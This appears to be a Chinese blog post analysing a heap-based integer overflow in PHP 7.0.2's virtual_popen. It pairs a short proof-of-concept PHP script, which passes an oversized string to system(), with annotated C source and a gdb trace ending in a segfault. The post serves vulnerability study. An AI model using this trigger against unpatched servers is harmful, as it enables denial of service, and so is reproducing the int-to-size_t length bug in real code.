欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]PHP 7 漏洞挖掘系列之二:Heap-based integer overflow

[原创]PHP 7 漏洞挖掘系列之二:Heap-based integer overflow

0x01 前言

这个漏洞是玄武实验室的人挖出来的,我这边做一下分享吧。我们不是漏洞挖掘者,只是漏洞搬运者。好了,进入正题吧,这篇文章主要讲述的是基于堆的整数溢出,找了好久终于找到一个比较简单易懂的漏洞进行分析。

0x02 漏洞分析

首先放poc:

<?php

    ini_set('memory_limit', -1);

    $cmd = str_repeat("/", 0xfffffff0);

    system($cmd);

这段代码看起来非常简单,假如内存不够的话,运行这段代码会报out of memory错误,poc中的system函数可以替换其它命令执行函数,只要是调用了virtual_popen这个函数就可以。下面先看关键代码:

#else /* Unix */

CWD_API FILE *virtual_popen(const char *command, const char *type) /* {{{ */

{

	int command_length;  //int型的长度在32位中为0x7fffffff

	int dir_length, extra = 0;

	char *command_line;

	char *ptr, *dir;

	FILE *retval;

	command_length = strlen(command);  //这里统计命令的字符串长度,

	dir_length = CWDG(cwd).cwd_length; 

	dir = CWDG(cwd).cwd;

	while (dir_length > 0) {

		if (*dir == '\'') extra+=3;

		dir++;

		dir_length--;

	}

	dir_length = CWDG(cwd).cwd_length;//脚本路径的长度

	dir = CWDG(cwd).cwd;

	ptr = command_line = (char *) emalloc(command_length + sizeof("cd '' ; ") + dir_length + extra+1+1);  //这边变成了emalloc(0),等会看调试信息

	if (!command_line) {

		return NULL;

	}

	memcpy(ptr, "cd ", sizeof("cd ")-1);

	ptr += sizeof("cd ")-1;

	if (CWDG(cwd).cwd_length == 0) {

		*ptr++ = DEFAULT_SLASH;

	} else {

		*ptr++ = '\'';

		while (dir_length > 0) {

			switch (*dir) {

			case '\'':

				*ptr++ = '\'';

				*ptr++ = '\\';

				*ptr++ = '\'';

				/* fall-through */

			default:

				*ptr++ = *dir;

			}

			dir++;

			dir_length--;

		}

		*ptr++ = '\'';

	}

	*ptr++ = ' ';

	*ptr++ = ';';

	*ptr++ = ' ';

	memcpy(ptr, command, command_length+1);  //这里在转换的时候负数变成正数,大于申请的堆空间,所以复制后造成溢出

	retval = popen(command_line, type);

	efree(command_line);

	return retval;

}

这段代码在zend_virtual_cwd.c的1853行,可以看出是unix环境使用的函数。这个函数是执行命令的底层调用函数,具体我就不往上找了麻烦,从代码中就可以大致看的出来。php执行命令的函数还是挺多的,我就不列举了,在poc中我用的是system函数。具体原因请看代码注释。

如果这样还不明白的话,可以看gdb调试信息:

root@mhn:~# gdb -q --args php-7.0.2/sapi/cli/php -n test.php 

Reading symbols from php-7.0.2/sapi/cli/php...done.

(gdb) b zend_virtual_cwd.c:1873

Breakpoint 1 at 0x84d8b4: file /root/php-7.0.2/Zend/zend_virtual_cwd.c, line 1873.

(gdb) b zend_virtual_cwd.c:1904

Breakpoint 2 at 0x84d979: file /root/php-7.0.2/Zend/zend_virtual_cwd.c, line 1904.

(gdb) r

Starting program: /root/php-7.0.2/sapi/cli/php -n test.php

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, virtual_popen (

    command=command@entry=0x7ffef1200018 '/' <repeats 200 times>..., 

    type=type@entry=0xae66bb "r") at /root/php-7.0.2/Zend/zend_virtual_cwd.c:1873

1873		ptr = command_line = (char *) emalloc(command_length + sizeof("cd '' ; ") + dir_length + extra+1+1);

(gdb) p command_length

$1 = -16

(gdb) p sizeof("cd '' ; ")

$2 = 9

(gdb) p dir_length

$3 = 5

(gdb) p extra

$4 = 0    //可以看到这边加起来为0,其实这样比较容易理解。

(gdb) c

Continuing.

Breakpoint 2, virtual_popen (

    command=command@entry=0x7ffef1200018 '/' <repeats 200 times>..., 

    type=type@entry=0xae66bb "r") at /root/php-7.0.2/Zend/zend_virtual_cwd.c:1904

1904		memcpy(ptr, command, command_length+1);

(gdb) p command_length+1

$5 = -15

(gdb) n

Program received signal SIGSEGV, Segmentation fault.

__memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:152

152	../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S: No such file or directory.

我想看到这里也看明白了,正是因为command_length的类型为int,后面再malloc和memcpy中又转化size_t类型,然后造成整数溢出。这个漏洞我感觉是最容易理解。exp我现在还不咋会写,等后续可能会学习一下怎么在实际漏洞中的编写。容我吹个牛逼,要不是有人先发现了,我觉的这个漏洞发现者会是。。。

0x03 小结

虽然这篇文章我老早就写好了,但是到现在还没明白,关于php的内存管理机制,不过本文不用理解那些东西,到后面的UAF就需要有很深的了解,所以到现在我还没明白php的UAF的原理与利用。欢迎加我QQ 499671216一起讨论。如果本章内容讲解错误,欢迎指出。

参考

https://bugs.php.net/bug.php?id=73025

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功